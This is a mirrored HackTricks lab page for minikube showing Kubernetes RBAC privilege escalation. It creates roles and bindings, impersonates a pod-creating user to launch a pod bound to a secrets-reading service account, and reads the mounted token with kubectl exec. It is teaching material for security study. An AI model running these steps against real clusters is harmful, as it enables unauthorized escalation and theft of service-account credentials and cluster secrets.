mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-07 18:58:54 +00:00
108 lines
3.4 KiB
Markdown
108 lines
3.4 KiB
Markdown
# K8s Roles Abuse Lab
|
|
|
|
You can run this lab just inside **minikube**.
|
|
|
|
We are going to create:
|
|
|
|
* A **Service account "test-sa"** with a cluster privilege to **read secrets**
|
|
* A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
|
|
* **Permissions** to list and **create** pods to a user called "**Test**" will be given
|
|
* A Role "test-r" and RoleBinding "test-rb" will be created
|
|
* Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
|
|
* Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
|
|
* This is the way yo show the user could escalate privileges this way
|
|
|
|
{% hint style="info" %}
|
|
To create the scenario an admin account is used.\
|
|
Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, [**as explained here**](./#pod-creation-steal-token), the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
|
|
{% endhint %}
|
|
|
|
```bash
|
|
# Create Service Account test-sa
|
|
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
|
|
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
|
|
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["pods"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa
|
|
- kind: User
|
|
name: Test
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r
|
|
apiGroup: rbac.authorization.k8s.io
|
|
---
|
|
kind: ClusterRole
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-cr
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["secrets"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: ClusterRoleBinding
|
|
metadata:
|
|
name: test-crb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
namespace: default
|
|
name: test-sa
|
|
apiGroup: ""
|
|
roleRef:
|
|
kind: ClusterRole
|
|
name: test-cr
|
|
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
|
|
|
# Check test-sa can access kube-system secrets
|
|
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
|
|
|
|
# Check user User can get pods in namespace default
|
|
kubectl --as Test -n default get pods
|
|
|
|
# Create a pod as user Test with the SA test-sa (privesc step)
|
|
echo "apiVersion: v1
|
|
kind: Pod
|
|
metadata:
|
|
name: test-pod
|
|
namespace: default
|
|
spec:
|
|
containers:
|
|
- name: alpine
|
|
image: alpine
|
|
command: ['/bin/sh']
|
|
args: ['-c', 'sleep 100000']
|
|
serviceAccountName: test-sa
|
|
automountServiceAccountToken: true
|
|
hostNetwork: true"| kubectl --as Test apply -f -
|
|
|
|
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
|
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
|
|
|
# Clean the scenario
|
|
kubectl delete pod test-pod
|
|
kubectl delete clusterrolebinding test-crb
|
|
kubectl delete clusterrole test-cr
|
|
kubectl delete rolebinding test-rb
|
|
kubectl delete role test-r
|
|
kubectl delete serviceaccount test-sa
|
|
```
|